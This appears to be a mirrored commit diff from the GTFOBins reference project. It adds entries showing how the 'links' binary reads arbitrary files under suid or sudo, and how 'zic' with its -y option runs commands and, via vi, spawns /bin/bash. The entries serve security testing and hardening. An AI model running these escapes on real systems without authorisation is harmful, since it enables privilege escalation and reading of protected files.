mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-05-13 19:16:02 +02:00
Compare commits
4 Commits
caddab9e3f
...
c70fbaf5bf
Author | SHA1 | Date | |
---|---|---|---|
Tizian Seehaus | c70fbaf5bf | ||
Juampa Rodríguez | 97f46f1526 | ||
tibotix | 5d721ea9af | ||
tibotix | 9d438a06d9 |
|
@ -0,0 +1,16 @@
|
|||
---
|
||||
description: The result is displayed in a TUI interface.
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
links "$LFILE"
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
./links "$LFILE"
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sudo links "$LFILE"
|
||||
---
|
|
@ -0,0 +1,22 @@
|
|||
---
|
||||
functions:
|
||||
command:
|
||||
- description: |
|
||||
This executes system(''id' 0 'arg2''), and system(''id' 1 'arg2'').
|
||||
You can also pass negative numbers, so the resulting command would look like system(''id' -1 'arg2'').
|
||||
- code: |
|
||||
echo "Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -" > zicfile
|
||||
echo "Zone Test 2:00 Jordan CE%sT" >> zicfile
|
||||
zic -d . -y "id" ./zicfile
|
||||
sudo:
|
||||
- code: |
|
||||
echo "Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -" > zicfile
|
||||
echo "Zone Test 2:00 Jordan CE%sT" >> zicfile
|
||||
zic -d . -y "id" ./zicfile
|
||||
shell:
|
||||
- code: |
|
||||
echo "Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -" > zicfile
|
||||
echo "Zone Test 2:00 Jordan CE%sT" >> zicfile
|
||||
zic -d . -y "vi" ./zicfile
|
||||
:!/bin/bash
|
||||
---
|
Loading…
Reference in New Issue